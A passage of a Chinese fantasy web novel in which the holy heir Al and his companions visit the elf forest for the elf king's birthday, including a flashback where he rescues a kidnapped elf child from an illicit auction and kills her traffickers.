神明大人落在后面两步,抚上跳动再次异常的心脏,唇角勾起一抹愉悦的笑容——祂喜欢这种富有生命力的感觉。 光翼煽动,两人很快便飞到云雾之中,艾尔将已经睡饱的龙崽从口袋里掏出来,变成了原来的体型,落在了它还算宽阔的背上。 因为隔得远,一头魔龙的出现丝毫没有惊吓到普通人。 干坐了一会儿,塞缪尔突然捕捉到小崽子偷偷瞄过来的视线,看不惯他那欲言又止的样子,神明大人皱眉,“说吧,什么事。” 艾尔小心翼翼的组织语言:“不是跟温斯特定好了晚饭后出来吗,你现在这样,他会生气吧?” 塞缪尔一眼看透他的心思,“想让我走?” “……”直觉系真恐怖。 也不是他不想和塞缪尔待在一起,艾尔只是想一碗水端平罢了,明明是前几天两个意识定好了的。 青年眨了一下眼,这个动作让他显得有些无辜,“当然不是……哎,真可惜,如果你们是分开的两具身体就好了,我们三个就可以一起玩了。” 塞缪尔:“……”玩个屁,哄小孩儿呢? 神明大人沉着脸,恨恨揉搓了几下青年白皙柔嫩的脸颊,然后将温斯特换了回来。 温斯特一有意识就看到对面睁大了眼睛瞪着他的哥哥,自己的两只手还被哥哥抓得紧紧的。 反应过来塞缪尔刚才做了什么,温斯特讷讷道歉,“对…对不起。” 艾尔松开刚才条件反射抓住的手腕,失笑道:“没什么好道歉的。”他又没生气,只是有点震惊罢了。 说是这么说,他还是动手把温斯特的脸给揉搓了一通,这才神清气爽! 闹够之后,艾尔盘着腿,手肘支在膝盖上,单手撑着侧脸,他静静地回忆塞缪尔最近的行为,好像不是错觉,这家伙确实越来越幼稚了。 偏后方,温斯特偷偷看了眼自己的手,掌心还残留着哥哥脸颊的触觉。 他将唇印在哥哥刚才吻过的手背,兀自开心了起来。 —— 西莱古森最近的城市,斯腓城。 清冷的骑士简单行礼,“殿下。” 银发青年眉眼弯弯,“日安,亚尔林,你一个人办事,辛苦了。” “不,殿下交代的都是很简单的事,您此行一切都好吗?” “嗯,很顺利。” 艾尔以为他和雷蒙当了几年同学,又共事了一段时间,好歹会问两句,结果亚尔林一点儿都不好奇,可见雷蒙装人有多敷衍,都不跟人攀交情的吗? “对了,雷蒙在做苦差,我们短时间内见不到他了。” 亚尔林点头,“好。”也不关心同僚过得有多苦,有没有危险,在他看来,别有用心的人,被殿下处死都是无可指摘的。 “奥斯顿没跟你一路?”分开之时,他还以为那家伙会嫌一个人游历无聊,和落单的亚尔林一起行动呢。 “同路了两日,王子殿下说他还有事,就分开了。” 亚尔林不知道,实则是奥斯顿嫌这个骑士古井无波的,话也少,被无聊走了。 进了房间,亚尔林将殿下交代他备好的东西从空间戒指里拿出来,“您看,这些够了吗?” 地上堆了小山高的花种果苗,几箱多种口味的低度数酒水,来自大陆各地的有特色的乐器和不同风格的衣服……没什么贵重珍稀的,但都是精灵爱好的东西。 教廷的礼物走的是公款,离开王城之前,埃德加主教交给他一箱拍卖会压轴物当生日礼物,女王姑姑也给了一箱,托他转交给精灵王。 艾尔看这些数量稀少的种族就像看大熊猫一样,态度很是热情友好,所以自己也备了一些礼物,精灵王有这么多礼物了,这些都是要分发给普通精灵的。 “哥哥还是那么贴心。” 尽管温斯特不喜欢哥哥费心思给别人准备礼物,但这也让他再次意识到哥哥有多好。 艾尔从以前开始就经常被弟弟夸,按理说早就该习惯了才对,但是……他偏了偏头,是错觉吗,怎么感觉不太一样了。 “有点渴了,温斯特可以去楼下带壶茶上来吗?” 温斯特欣然应往。 不被那双深邃的黑眸注视着,艾尔终于感觉自在了,怎么说呢……好像空气没那么黏稠了。 亚尔林什么都没留意到,他又拿出一本笔记,“这是我顺路收集的情报,要上报给总教廷那边处理吗?” 艾尔翻了翻,随后眉头越皱越深,一想到以后光明教廷的摊子要落到他头上,而里面还有那么多恶心的下属……妈的,道德洁癖要犯了! 亚尔林还是第一次见到殿下这么严肃的表情。 “啪——”青年合起了笔记本,眼中仿佛跳动着冰冷的火焰,“不用上报,等从西莱古森出来后,我们亲自去处理。” 反正他现在在教廷的地位是一人之下,万人之上,这么大的权力不用白不用,他要挑选几个老实人上位。 对了,费莉西娅姑姑一直很烦天高皇帝远,太远的地域不容易管束,也不喜欢教廷不受王室控制,某些主教明显违反法令,却不能被惩罚。 他要想办法让每座城市的分庭和城主府互相监管、检举,然后他清理有问题的分庭,姑姑清理城主府,时间久了,这个世界会越来越好的。 这肯定不是直接下令合作就能解决的事情,教廷一直不愿意和王室扯上关系,就想永远独美。 艾尔心里隐隐有了个计划,虽然肯定会进展缓慢,但是……反正他还能活很久,又会经常在外面游历,就在旅游途中,顺便清理一下不干净的东西吧,就当感谢这个世界接纳了他的灵魂,赋予了他极高的天赋,给了他很多亲人和朋友。 这个世界给了他这么多幸运,他也想回报一二。 还要联系一下奥斯顿,和他一起行动,毕竟威慑当官的,还是要王室成员出面才行。 “哥哥,水来了。”温斯特推门进来,丝毫不知道,不久后又要多一个碍眼的跟着他们了。 —— 守在森林入口的精灵们忽然抬头,看见一头银色魔龙离他们越来越近。 “咦…好久没看见过魔龙出现了。”有精灵感慨一声,同时一点也不犹豫地抬起手中弓箭,对准了龙最脆弱的眼睛。 树顶上的同伴叫住了她,“等一下,爱尔莎,我看见上面有人,哦天呐,这是一头有主的魔龙,真可惜……”精灵不太想看到珍贵的魔龙被人类驯养呢。 轻盈的半透明翅膀带他飞上去了一点,伊诺克看清楚了那些人的穿着,才落地告诉大家,“是教廷的人,肯定是来参加陛下诞辰的。” 艾尔曾经远远看过西莱古森一眼,如今再见,还是会惊叹——这些树好高啊! 整个森林种满了摘星树,至少高达两百米,直径起码三十米,笔直向上,郁郁葱葱,精灵们都会挖空上方的一部分,在里面居住的。 摘星树生命力之顽强,即便在里面挖出一个住所,依旧活得好好的。 三人落地,几个精灵守卫迎了上来,“教廷新任圣子?” 银发青年笑着问好,“是的,各位日安,我是艾尔菲斯·兰开斯特,谨代表教廷,向伟大的精灵王陛下献上贺礼和诚挚的祝福。” “这是我的两位骑士,温斯特,亚尔林。” 尽管不喜欢人族,但这个圣子很有礼貌,三个人长得也符合精灵的审美,所以护卫队长对客人还算友善,“我是伊诺克,我来给三位带路吧,请跟我来。” “好的,麻烦你了。”艾尔给魔龙喂了药变小,放在肩头,跟着精灵走了。 伊诺克带人离开,其他精灵照旧守在入口处。 看人走远后,入口的精灵们嘀嘀咕咕,“我喜欢这个圣子!” “我也是,他看起来是好人,有一个纯洁的灵魂。” “而且他长得很好看!” 精灵们亲近大自然,没那么多复杂心思,也没有经验迅速判断一个人的好坏,但是他们有一种本能——判断出美好事物的本能。 如果一个陌生人能让他们感觉像是看到一朵没见过的花,让他们生不出防备,还想多看他一会儿,那他多半是好人了! 走了一会儿,伊诺克已经跟圣子聊了几个话题了,精灵的表现没有一开始那么客套,笑容真诚了很多。 “呀!是你!你怎么在这里?!” 寻着一道稚嫩的声音扭头,艾尔看见一个还不及他腰高的精灵小女孩儿半躲在树后,圆圆的可爱小脸满是惊讶。 伊诺克挑眉,“菲比,你认识圣子殿下?”这不是圣子第一次来这里吗? 艾尔记得这个小家伙,忽然恶劣心起,“我是特意来找你讨债的,你还欠我二十万金币,忘记了吗?” 菲比:“!!!”QAQ 90-100 第091章 第 91 章 三年前, 艾尔尚未从奥瑞利安毕业,正值长假期间,他照旧四处旅游。 到了某座他已经记不清名字的大城市, 打听到当地的拍卖行会在下次开场时拍卖空间卷轴,艾尔毫不犹豫的打算去参加, 这种能跑路保命的东西, 他永远不嫌多。 顺利拍下了压轴的空间卷轴, 拍卖会本该结束的,但艾尔在离开的时候, 因为练剑让身体素质提高了不少, 比普通法师更加耳聪目明, 意外听到了拍卖行的侍从小声和某位客人说第二场什么时候开始。 嗯?还有第二场?不知道会有什么好东西,为什么不邀请他留下来, 难道刚才拍卷轴的时候表现还不够壕吗? 艾尔直接坐回了刚才的包厢。 不知情的客人都陆陆续续离开了,拍卖行也没多做检查,以为留下的都是精挑细选,收到特殊邀请函的客人。 等到午夜, 艾尔已经无聊到睡了一小觉了, 楼下终于有了动静。 精明的中年男人笑眯眯地开口,“辛苦各位久等,不过我相信, 等看到货物, 大家会知道等待是值得的!” 长方形的展台通过机关从地下升起来, 黑色的布料盖在上方, 艾尔只能看出是个凹凸不平的东西, 奇怪,不拿盒子装吗? 拍卖师拎起黑布的一角, 声音更大,“大家准备好了吗?” “少废话,快点儿掀开那该死的布料!” 拍卖师也不吊人胃口了,一把扯下黑布,露出一个沉默流泪的小女孩儿。 碧绿眼眸,凌乱的黑色长发,脸蛋玉雪可爱,尖耳,长着半透明的蝶翼,显然—— “真的是精灵啊!” “还是这么嫩的小精灵,教她乖乖听话用不了多长时间吧!” 那些遮挡住相貌的客人打开包厢的窗户,想将精灵看的更清楚一点,他们的话语一字不落地进了艾尔的耳朵。 表情一直很放松随意的艾尔终于冷下了脸。 精灵没有用笼子关着,不用担心她使用天赋反抗,或者逃走,显然她被喂了药,连翻身都不能,只能蜷缩在展台上,安静流泪。 拍卖师还没介绍完,“再告诉大家一个好消息,这不止是精灵,还是一只木系精灵,那个传闻,各位老爷们都听过吧?” 此话一出,落在小精灵身上的视线更加火热贪婪。 传闻中,木系天赋的女性精灵在她们族群中地位很高,是由于她们因为天赋和性别被属性相似的生命树偏爱,所以在孕育她们的时候赐予了特别的礼物,她们的血肉都有很强的生命力,受了伤比其他同族好的更快。 她们的血很是神奇,喝下一口,能治病,能延寿,如果和她们交合,甚至能转移走她们血肉中的生命力! 艾尔听说过这件事,他觉得跟拿雄性人鱼炼药能炼出增寿药剂一样,都是毫无根据的事情。 但是他不相信,世上多的是没活够的人类相信、或者愿意去赌一把。 “幸运的老爷们,多少人族活一辈子都见不到精灵一眼,今天,你们其中的一位却有机会得到她!” 艾尔本来没打算参与拍卖,他想着等拍卖会结束后,跟着买家,直接把小精灵劫走就行,但是…… “尊贵的客人,不用担心精灵的危险性,我们会负责帮忙签订主奴契约,取下她的禁魔手环后,这小宝贝儿的价值可不止她的身体。” 拍卖师砸下小锤子,声音高昂:“起拍价,二十万金币!每轮加价不低于五千!” 这一场拍卖可比刚才人更多的那一场有激情多了,短短时间内就喊到了一百万金币,后面的竞拍者就少了。 拍卖行想快点将精灵脱手,以免夜长梦多,现在只恨没有足够的时间去其它城市邀请更有钱的权贵。 艾尔以两百万的价格买下了小精灵,还有不少客人隔着包厢对他喊话,想要买一点精灵的血液,或者等他玩够了,想让他分享一下,当然,他们愿意付钱。 青年根本不想搭理这些人,但是用脚指头想都知道拍卖行邀请的都是不顾法令、漠视生命的人物,他不表现出同流合污的样子恐怕会惹人怀疑,便敷衍了几句。 等主管过来收了钱,小精灵才被送到了包厢,有法师帮忙签订了主奴契约,艾尔也没有拒绝,反正作为主人,他随时能解除关系。 其他的客人本想来找买家交个朋友,以后才有机会玩儿一下精灵,但是连人影都没见到。 拍卖行外,一个能看到大门的漆黑角落,穿着黑斗篷的青年靠在墙边,旁边是他买下的小精灵。 药物影响已经解开了,但艾尔不急着给她解开禁魔手环和契约,免得小家伙闹出太大的动静。 “叫什么名字?” 精灵身体紧绷,表情很倔强,根本不想搭理这个坏人,但是受制于契约…… “菲比。” “好吧,小菲比,认得出把你卖到这里的人吗?哥哥帮你报仇。” 菲比仰着脑袋,睁着大眼睛狐疑地看着他,有点不可置信坏人会帮她报仇,但是……管它呢,小精灵大力点头。 “在他们出来之前,先告诉我你是怎么被抓来的?没有人能从西莱古森偷一个幼崽出来,你该不会是偷偷跑出来的吧?” 然后艾尔看见小精灵委屈又后悔的表情,就知道自己真相了。 精灵们从小就被教导不准私自离开古森,外面的世界很危险,人族贪婪狡诈,还喜欢□□灵! 确实能吓唬住小精灵,但是在森林呆太久了,有时候也会好奇外面的世界是什么样,再加上负责外出采购的长老经常带些新鲜的东西回来,小精灵们觉得外界更有诱惑力了! 菲比是这一届胆子最大的小精灵,她偷溜出去,还知道换一身灰白布衣,加一件灰色斗篷遮住她的翅膀,头发披散下来挡住尖耳朵。 小精灵在河边照了照现在的模样,满意点头,这样就像人族了,嘻嘻,她可真聪明! 她先到了离古森最近的小村庄,然后藏在了人类拉货的马车里,被带到了斯腓城,菲比还仔细记住了回去的路呢! 那身朴素的打扮,加上矮小的个子,果然没人留意到她——除了人贩子。 人贩子专门盯落单的小孩儿,再仔细看她的脸,顿时眼睛就亮了,极品啊!说不定能卖五十枚金币呢! 这年头,人还不如一只可爱没用的魔兽值钱。 菲比突然被两个男人拦了路,他们推着一辆小推车,笑得很热情,“小家伙,买个烤甜薯吧,又香又糯。” 他的同伴接话:“闺女长得真可爱,跟我女儿差不多大哩,来来来,给你尝一点,喜欢就买,好吃不贵。” 菲比直觉不太喜欢他们,但是推销东西的小贩能有多危险呢?一定是这两人长得不符合精灵的审美她才不喜欢。 菲比放下点戒心,接过热乎乎的烤甜薯吃了,然后……两眼一翻,被药倒了,两个人贩子麻利的把人塞进小推车下面的暗箱中。 回去一查货,那是又惊又喜,妈的,咋是个精灵?!! 他们惧怕精灵族的报复,但是……干完这一票,一辈子也不愁了!等拿到钱他们就跑远一点,离精灵族地远远的! 知道精灵都是会魔法的,两个普通人怕菲比醒了制不住她,每天都在喂药水,多跑了两个城市,还花大价钱用了次传送阵,离古森远一点,才联系了一个敢出手精灵的拍卖行。 菲比再次有意识的时候,已经被戴上了禁魔手环。 —— 菲比离开家后还没跟好人交流过,刚才又被一群坏人觊觎,现在对人族偏见很深,“人族真的很坏!我应该听长老们的话的呜呜…” 艾尔听见小孩儿哭就头疼,啧……还是温斯特好养啊。 “行了,别哭了,帮你报完仇就送你回家。” 水汪汪的大眼睛看向青年,“真、真的吗,那你、你可以帮我把手环解开吗?” “现在不行。”他可不想小家伙在路上多生事端。 菲比刚升起的一点信任立马消失,噘着嘴生气,哼!坏人,骗子!白长那么好看一张脸了! “是那两个人。” 艾尔顺着小精灵指着的方向看过去,带着她悄悄跟上了人贩子。 这是两个人贩子这辈子最开心的一天,那小崽子卖了两百万,拍卖行拿了百分之十的佣金,兄弟俩拿到装了大量金币的空间戒指后,就一直笑到现在。 “山姆,没想到我们也能用上贵族老爷的东西。” “嘿嘿,我这辈子还没用过这么精致的玩意儿呢。” 然后菲比只听旁边“咻——”的一声,利剑出鞘,寒光一闪,两人腹部便多了个血洞。 他们惊恐地、不可置信地看着前方的黑发青年,还有卖出去的小精灵,再低头看看正汩汩流出的血液,不甘地倒了下去。 小精灵们在森林里看见小动物死去的时候都会难过,更别说第一次看见杀人现场。 艾尔留着银发的时候看起来很有仙气,但他此时染着黑发,没什么表情的时候格外冷漠,菲比攥着小拳头,又害怕到默默流泪了。 摸完尸,拿回属于他的金币,啧,还差二十万呢。 剑尖沾着尸体的血在地上写下“买卖异族,罪不可赦”,表明死者是罪人,免得城里的无辜民众害怕。 他不喜欢杀人,但现在杀的又不是人。 回头一看,小精灵又在哭了,艾尔连夜赶路,想把小哭包送回家。 果然还是温斯特那样的流浪小狼崽能让他心疼,时不时就哭的孩子他是真的不想多相处一天,哪怕对方长得非常可爱。 第二天,因为艾尔没有强迫买来的小精灵做任何事,还买了很多好吃的好玩的给她,菲比的胆子又逐渐大了起来,等她发现已经回到了斯腓城,终于相信这个人类是真的要送她回古森了。 菲比有点纠结,她现在很想回家,那个让她有安全感的地方,但是又想多玩两天。 艾尔才不管她那些小纠结,等出了城,用光翼带着幼崽一路前行。 尚未意识到艾尔哥哥是光系法师,突然就飞上天的菲比:“!!!” 等看到那片树木高耸的西莱古森后,艾尔取下了菲比的禁魔手环,解除了主奴契约,“回去吧,以后想出去,就和大精灵们一路。” 菲比想请他去做客,长老们应该会准备一些谢礼,但是还没来得及开口,光翼就带着她飞速下落! 小精灵鼓起包子脸:哼!怎么好像很嫌弃她的样子! 立于上空的艾尔舒了一口气,这没见过世面的小精灵就像十万个为什么一样,看见什么都要问一下,他这几天每日都在感叹:还是温斯特好养! 回到王城后,艾尔跟费莉西娅姑姑提了拍卖行的事情,因为女王一直很想和异族打好关系,明令禁止买卖异族,有人顶风作案,她当即便派人去那座城市抓捕了拍卖行的人,也清理了城主府。 这是艾尔第一次跟精灵有过交际,在那以后,就再也没见过精灵了,直到精灵王诞辰的到来。 —— 此时,伊诺克正满脑袋问号,“菲比怎么会欠了您这么多钱呢……”忽然,精灵眉头一皱,有些生气地看着幼崽,“我想起来了,你三年前偷偷跑出去过,是不是偷拿人家东西了?” 精灵幼崽急得跺脚,“我没有……” 她当年被送回来的时候,大家正到处找她,王还派了不少精灵出了森林,分散开来找。 等她回来,知道是偷溜出去后,当然没躲过责骂和惩罚,还关了两个月禁闭。 菲比没敢告诉大家她还差点被坏人买走,如果说了,惩罚一定会更凶,还会被拿来当反面教材告诫新生的小精灵,她才不想把名字钉在耻辱柱上呢。 小精灵可怜兮兮地看着银发青年,艾尔看她支支吾吾的样子,就猜到小家伙没把自己的经历如实坦白。 艾尔丝毫不关心小精灵等会儿会不会挨训,将三年前的事情如实道来。 他觉得,如果精灵族能因为这件事加强防拐卖教育,肯定是件好事啊,至于菲比……小孩子嘛,童年总少不了挨训的,没有这次,也有下次。 温斯特听完舒展了眉头,只是同路了几天,不算养,他还是哥哥最疼爱的人。 “居然还有这种事发生!菲比,你为什么不告诉我们?!” 小精灵转了转眼珠,“伊诺克哥哥,我知道错了,你们是不是还有事要忙?那我不打扰了……” 她动动翅膀,转身就想起飞,伊诺克是金系法师,挥手间就有一个方方正正的金属笼子罩住了幼崽。 菲比:QAQ 艾尔看伊诺克这么生气,还顺便说了一下坏人的下场,帮女王姑姑刷点好感。 精灵脸色终于好看了一点,食指往菲比的方向点了点,“等会儿蜜莉恩长老来收拾你。” 伊诺克继续给客人带路,道谢之后,“那二十万金币,稍后我们会给您送过来的。” 青年不再意地摆手,笑道:“不用了,我刚才只是逗她玩儿,请别放在心上。” 是不是真心话精灵还是能分辨出来的,伊诺克对这位圣子好感大增,也不再提钱的事,但心里想着就算不还钱,也要准备一点谢礼。 艾尔三人被带到整个古森最高大粗壮的摘星树下,有其它树木的五倍粗,据伊诺克介绍,树龄有八千年了,精灵王的宫殿就在上方。 近卫和侍奉的精灵们零散呆在树枝上,见有人族过来,视线齐刷刷的往下看。 伊诺克将人介绍给近卫队长,便返回处理菲比的事了。 这位队长作风冷硬,连客套的假笑都没有,“光明圣子,两位骑士,请跟我来。” 几道身影飞向了巨木接近顶端的位置,艾尔还没进殿门,就被周围的各类盛开的花给吸引了视线,丰富却不杂乱,配色很好看,嗯……毕竟树就是精灵的家,在家里养花,没有问题。 艾尔进去的时候,一眼就留意到一位相貌极出色的男性精灵,那双墨绿色的眼眸很是温柔,绿到近乎黑色的长发编成了辫子,一副成熟稳重和蔼的长相,就是……穿的有点花哨。 衣服从里到外,从头到脚都很讲究,那对金子和红宝石做的耳坠看起来精美贵重而且……有点沉。 两只手腕上都戴了几只镯子,别说,虽然数量有点多,审美却不错,并不显得像暴发户,反而有种异域风情的感觉,头上还带了个很漂亮的花环,整个精灵有种浓墨重彩的美。 男精灵正倚在窗边,教树枝上的一排小鸟唱一段优美的曲调。 近卫队长向那精灵行礼,“陛下,教廷的圣子到了。” 他开口的那一刻,艾尔脑补过的精灵王的形象,碎的彻底,就连一向波澜不惊的亚尔林都没忍住抽了抽嘴角。 温斯特眯了眯眼睛,遥远的记忆里,有个类似风格的身影在脑中闪过。 第092章 第 92 章 正专心教导小鸟的海因里希闻言转头, 看见一个月色般美好的银发青年,和两个很俊的骑士,只一眼, 他就很有好感,都是不错的人族呢。 艾尔在近卫队长说完后, 便介绍了自己和身边的人, “很荣幸见到您, 陛下。” 精灵王带着温柔的笑容走了过来,“远道而来的客人, 一路上辛苦了。” 明明自己更喜欢明亮的色彩和温柔的人, 所以该更喜欢这位光明圣子才对, 但海因里希的目光在那名叫温斯特的骑士身上多停留了片刻,奇怪……他确定记忆中没有见过温斯特, 但是,总有一种似曾相识的感觉。 思索无果,也没有在黑眸青年身上感受到一点不好的地方,海因里希便不再关注他, 转而和圣子交谈了。 “嗯?这是魔龙吗?怎么这般小?” 艾尔任他接近, 近距离打量巴掌大的龙崽,“这是贝诺,它体型太大了, 我担心它弄坏森林里的花草, 给它喂了点药剂变小了。” 海因里希在精灵语记载的古籍里看到过, 这样的药剂确实存在, 但有一种材料只在深渊产出。 他好奇地询问, 艾尔早就为这种药剂的现世编好了理由,半点不慌张地解答了问题。 随后艾尔将教廷和王室准备的礼物拿了出来, 精灵王真诚的道了谢,但也没有打开看,显然没什么兴趣。 异族曾经都很受神明偏爱,他们底蕴深厚,人族觉得珍稀的宝物他们鲜少有看上的。 艾尔犹豫了下,还是把他为其他精灵准备的礼物取了出来。 他原本以为精灵王是个高冷,或者高深莫测的性格,肯定对他的礼物没兴趣,打算之后交给菲比,让她分发一下的,年龄小的精灵对外界的东西都很有兴趣。 但是这位王明明有接近法神的实力,是大陆最强者之一,却和教皇、院长他们很不一样,没有距离感,而且对所有美好的事物都很温柔,想来对他的礼物会有兴趣的。 “这是我们在路上看到的东西,觉得很适合精灵族便收集了一些,不值钱,希望您不要嫌弃。” 不像先前那两个精美贵重的箱子,艾尔的礼物大多数是堆在地上的,显得有些杂乱。 海因里希眼前一亮,“是西莱古森没有的植物!” 绿光一闪,有些打焉的果苗立刻精神起来了,精灵王已经迫不及待地想种下新品种,让森林资源变得更丰富。 “这些是什么?乐器吗?”他尝试着吹了两下,手中的东西发出未曾听过的音色。 “尤莱亚,你拿着这些乐器,去找巴洛老师,让他多做一些,发给族人们。” “是,陛下。”旁边的一名侍从拿着新乐器,眼睛亮晶晶地离开了。 精灵王一边翻看这些从遥远地域带来的礼物,一边和客人讲话,他现在越来越喜欢这位圣子了。 海因里希觉得,只有内心很温暖的人,才会去想别人喜欢什么、需要什么,而不是一厢情愿的把自己觉得好的东西也当作别人的想法。 这些东西在教廷的其他人看来一定很廉价,送不出手,所以精灵族一直不太喜欢人族,行为被太多东西束缚,被太多欲望支配,一点也不自然。 还是艾尔可爱,只听了几句夸赞,就害羞了,跟他聊天很开心,不像以前教廷的客人,左一句教廷和光明神,右一句共同抵御黑暗的盟友,真烦人,不知道他们精灵族是信仰自然女神的吗? 艾尔还是第一次跟有实力有地位的人这么轻松的聊天,精灵王虽然年龄大,心思却不重,彼此之间就像新交的一个朋友。 近卫队长,阿诺德,他见陛下很喜欢这行人,爱屋及乌,他的态度也友善了许多,还跟站在旁边当柱子的两位骑士搭话。 奈何亚尔林只会简短回答他的问题,一板一眼的,温斯特直接把交际活动推给亚尔林,目光落在哥哥那边,根本不搭理旁边的精灵。 阿诺德很快就放弃了交谈,他木着脸,在心里暗暗吐槽,不愧是光明教廷选的骑士,跟以前见过的一个死样子。 只有这个圣子,不像是被教廷养出来的。 “啊,抱歉,我话太多了,忘记你们赶了很长的路过来,应该休息一下才对。” 海因里希无意中瞥见那名黑眸骑士看自己那不耐的眼神,一个激灵,总觉得下一瞬就会被攻击……又是这奇奇怪怪的熟悉感。 总之,他终于意识到了客人的不耐烦,命侍从带三人去休息的地方。 “除了生命树附近,艾尔哪里都能去,也能随时过来找我。” 青年道了别,心里悄悄松了一口气,精灵王亲切温柔是没错,但是……话好多啊! 让他想起三年前跟菲比相处的几日,没完没了的问题,刚才甚至还让他品鉴了几段精灵王自创的音乐。 他有一种三天三夜都走不掉的错觉,虽然不知道为什么精灵王突兀地放人了……管他呢。 三人被安排在了相邻的树屋中,屋子离地面百米之上,宽敞舒适,装饰的很温馨,有浅淡的木香,采光也很好,每一处小细节都符合他对精灵族的刻板印象——精致爱美。 放小龙崽去桌上吃西莱古森的特产瓜果,艾尔打算去睡会儿午觉,然后在这个好奇已久的地方逛一下,晚上再来研习魔法,嗯,今天也是劳逸结合,积极向上的一天呢! 青年拉上窗帘,“我睡一会儿,你呢?” “嗷?” 艾尔一愣,看向正抱着果子,歪着脑袋疑惑看他的龙崽,骤然失笑,“不是在跟你说话,我忘了温斯特不在这里了。” “嗷嗷嗷!”龙龙想要大宝石搭窝! 因为契约,艾尔能听懂它的龙言龙语,笑着应下,“好,这就给你拿出来。” 等他躺在了床上,闭眼一会儿,又觉得房间空荡了点。 没有温斯特或者塞缪尔在旁边,好像缺点什么……难道是缺安全感?在一个人生地不熟的地方,有戒心是正常的。 刚才来的路上,还看见了几个小精灵正在练弓箭呢,如果谁调皮了胡乱射箭,穿透他的窗户了也是有可能的。 理智上,艾尔知道精灵没那么多阴谋诡计,对他态度也挺好的,他在这里不会有危险,但……就是哪里不对劲。 眼睛没闭一会儿又睁开了,艾尔情不自禁地想,温斯特这么黏人,会不会等会儿又找过来了?他可不想现在睡着,等下再被敲门声吵醒。 青年双手交叠于腹部呈安息状,他睁着眼睛思考,上辈子曾听过一句话,养成一个习惯只需要二十一天,他在出来历练之初,明明是不适应和一个成年人同住同睡的,比起多年前,温斯特长大后存在感太强了。 他们同居的时间早就超过二十一天了,艾尔也已经适应了,嗯…同居?这么形容好怪,但是又好像没毛病。 温斯特就不说了,塞缪尔,祂即便不睡觉,也总是会陪他一起躺在床上,聊到他入睡,虽然在他睡着后,那家伙有时候会溜出去练剑。 艾尔忽然想到,亲兄弟长大后都没他俩这么亲密,关系这么好,不知道以后会不会吵架,然后分道扬镳什么的。 正在胡思乱想间,外面传来“叩叩”的敲门声,艾尔坐起身,幽幽叹气,百分之百的肯定了来人是谁。 温斯特对上哥哥幽怨的眼神,嘴角那乖巧的笑容维持不住了。 他手足无措地看着银发青年,“哥哥,我打扰到你了吗?” 艾尔将这个害他失眠的罪魁祸首放进来,“没有,你怎么过来了?” 温斯特就是很想见他,一个人呆着很焦躁,只要哥哥在他眼前,哪怕他俩不说话,他也觉得心情好。 当然,实话是不能说的,温斯特早就找好了话题,“我在塞缪尔的记忆中,看见了一个和精灵王性格相似的神明,我想哥哥一定会有兴趣的,就过来找你了。” 艾尔瞧弟弟眼巴巴地看着他,一副邀功的样子,手比脑子还动得快,反应过来的时候已经摸上对方的脑袋了。 他坐在桌边,单手支着脑袋,另一只手拿着果子啃,“确实很有兴趣,你说吧。”神明的八卦谁不想听呢。 “是自然女神,梅瑞狄娜,也是掌握木元素的神明。” 那位女神是温斯特记忆中最良善热情的神明,喜欢生机勃勃的自然,喜欢美妙的音乐,喜欢世间一切积极向上的灵魂,最偏爱的是和祂爱好、审美相近的精灵族。 梅瑞狄娜平时打扮的花里胡哨,也经常去找塞缪尔,自诩为姐姐,立志于让这个看起来有点厌世的弟弟看到世间的美好!然后一次又一次被塞缪尔拍飞。 甚至趁塞缪尔不在,将祂的神殿改造的花团锦簇,还捉了些温顺的魔兽来陪伴祂,塞缪尔当即练了一次剑,把这些东西全嚯嚯了。 塞缪尔问过祂,为什么不去找其祂主神玩儿,梅瑞狄娜说,“你比祂们更公正、宽容、有原则,我欣赏单纯的灵魂。” 彼时,自然女神看塞缪尔的表情像是在看最让祂喜爱的孩子,塞缪尔:“???”有病! 温斯特说着说着,眉宇间已经露出和塞缪尔如出一辙的厌烦,“祂好吵,那个精灵王,和祂一样吵。” 艾尔抽了抽嘴角,连他都有些受不住精灵王的热情,很难想象这样一个人在塞缪尔耳边唠叨。 温斯特笃定道:“塞缪尔说过,有几位神明没有消散,而是转世了,哥哥,精灵王一定是自然女神。”他相信自己的直觉。 “啊??”虽然但是……“性别不对吧,还是说,投胎的时候不能选性别?” 温斯特隐隐记得,“能选择种族和性别。” “那自然女神为什么……”艾尔送的礼物里有几箱很有特色的服饰,刚才精灵王还细细欣赏了几件裙装,说明她起码不是厌烦了当女性,怎么变成男性精灵了? 温斯特歉意地低下脑袋,“我不知道,我还没有恢复全部记忆。” 这个话题有头没尾的,不能回答哥哥的问题,让他有点失落。 艾尔笑着,“没关系,晚上我问塞缪尔就好了。” “哦……”如果是塞缪尔,一定能解答哥哥的疑问。 艾尔敏锐地察觉到弟弟低落的情绪,又迅速想通原因,顿时哭笑不得,他这是在争宠吗? “我本来有点失眠,跟你聊一会儿天就放松了很多,想去午睡一会儿,温斯特要来一起睡吗?” 低垂的睫毛立刻上扬,温斯特表现的非常乐意! —— 睡一小觉后,两人叫上亚尔林,请附近负责照顾客人的精灵带路逛了一圈,他们在看风景,一波又一波的精灵们闻讯过来看人类,听说王很喜欢这个圣子呢,大家都很好奇这次的客人是什么样。 精灵们半掩在四面八方,用巨木挡住身形偷偷地看,带路的侍从有些尴尬,“抱歉,他们只是好奇。” “没有关系,大家都很可爱。”漂亮的银发青年扫了一圈周围,发出邀请,“要下来一起散步吗?” 不多久,他就后悔了——说好的精灵族高冷又不爱搭理人类呢?他们明明话很多的!!! 因为之前接触的几个精灵都是礼貌克制类型的,他还以为只有幼崽和精灵王是例外,结果……他们好多问题啊,艾尔聊天聊到嗓子干涩。 现在长记性了。 被热情的精灵们请吃了一顿全素宴后,太阳快落山了,三人拖着闹哄哄的脑子回到了住处。 等艾尔沐浴结束,顺便把衣服也洗了,弄干,天色已经彻底暗了下来,他打开门,看见星星点点的萤火虫在空中飞舞,今天的月亮很圆满,星星也多,偶尔传来细小的虫鸣声,夜晚的森林,很浪漫。 有道身影正坐在他门口的粗壮树枝上,靠着树干,似乎在发呆。 艾尔嘴角一抽,赏夜景都要到他这边来吗? 青年脚尖一点,轻盈地落到塞缪尔旁边坐着,因为今天说了太多话,暂时不想再开口,就这样呆坐着吹夜风。 过了一会儿,艾尔觉得即便是塞缪尔,今天出来后一字不吭也有点奇怪,“你今天好安静。” 神明大人耷拉着眼帘,“我脑子里现在嗡嗡的,有点难受。” “……”这么脆弱吗? 第093章 第 93 章 定时醒来后, 今天接收到的记忆几乎都是小崽子被精灵王,还有其他精灵缠住问问题的画面,自己和小崽子单独相处的时间少之又少。 从来没有这么多张嘴同时在塞缪尔面前叽叽喳喳过, 以前单是一个吵闹的梅瑞狄娜,祂都受不了, 更何况是一群梅瑞狄娜。 那些繁杂的声音直接激起了祂的戾气, 